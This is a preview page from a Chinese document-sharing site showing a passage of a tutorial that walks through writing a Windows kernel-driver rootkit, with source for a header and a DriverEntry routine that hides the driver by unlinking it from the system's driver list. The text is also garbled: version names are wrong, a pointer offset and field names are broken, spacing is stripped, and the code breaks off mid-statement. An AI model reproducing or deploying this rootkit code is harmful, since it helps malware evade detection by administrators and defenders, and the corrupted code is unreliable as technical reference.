Rootkit隐形技术方法范文_第1页
Rootkit隐形技术方法范文_第2页
Rootkit隐形技术方法范文_第3页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Rootkit隐形技术方法范文一、综述

本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载办法,以及必不可少的测试技术。

本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。

二、rootkit主体

本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。则为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要表明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。

我们将以源代码的.形式表明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:

//Invisible.h:我们rootkit的头文件

#ifndef_INVISIBLE_H_

#define_INVISIBLE_H_

typedefBOOLEANBOOL;

typedefunsignedlongDWORD;

typedefDWORD*PDWORD;

typedefunsignedlongULONG;

typedefunsignedshortWORD;

typedefunsignedcharBYTE;

typedefstruct_DRIVER_DATA

{

LIST_ENTRYlistEntry;

DWORDunknown1;

DWORDunknown2;

DWORDunknown3;

DWORDunknown4;

DWORDunknown5;

DWORDunknown6;

DWORDunknown7;

UNICODE_STRINGpath;

UNICODE_STRINGname;

}DRIVER_DATA;

#endif

我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。

这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit〔即驱动程序〕所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。

上面介绍了rootkit的头文件,现在开始介绍rootkit的主体局部,它实际就是一个根本的设备驱动程序,具体代码如下面的Invisible.c所示:

//Invisible

#include"ntddk.h"

#include"Invisible.h"

#include"fileManager.h"

#include"configManager.h"

//全局变量

ULONGmajorVersion;

ULONGminorVersion;

//当进行freebuild时,将其注释掉,以防被检测到

VOIDOnUnload(INPDRIVER_OBJECTpDriverObject)

{

DbgPrint("comint16:OnUnloadcalled.");

}

NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObject,INPUNICODE_STRING

theRegistryPath)

{

DRIVER_DATA*driverData;

//取得操作系统的版本

PsGetVersion(&majorVersion,&minorVersion,NULL,NULL);

//Major=4:WindowsNT4.0,WindowsMe,Windows98或Windows95

//Major=5:WindowsServer2022,WindowsXP或Windows2000

//Minor=0:Windows2000,WindowsNT4.0或Windows95

//Minor=1:WindowsXP

//Minor=2:WindowsServer2022

if(majorVersion==5&&minorVersion==2)

{

DbgPrint("comint16:RunningonWindows2022");

}

elseif(majorVersion==5&&minorVersion==1)

{

DbgPrint("comint16:RunningonWindowsXP");

}

elseif(majorVersion==5&&minorVersion==0)

{

DbgPrint("comint16:RunningonWindows2000");

}

elseif(majorVersion==4&&minorVersion==0)

{

DbgPrint("comint16:RunningonWindowsNT4.0");

}

else

{

DbgPrint("comint16:Runningonunknownsystem");

}

//隐藏该驱动程序

driverData=*((DRIVER_DATA**)((DWORD)pDriverObject20));

if(driverData!=NULL)

{

//将本驱动程序的相应目录项从项驱动程序目录中拆下来

*((PDWORD)driverData->k)=(DWORD)driverData->k;

driverData->k->Blink=driverData->k;

}

//允许卸载本驱动程序

pDriverObject->DriverUnload=OnUnload;

//为本Rootkit的控制器配置连接

if(!N

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论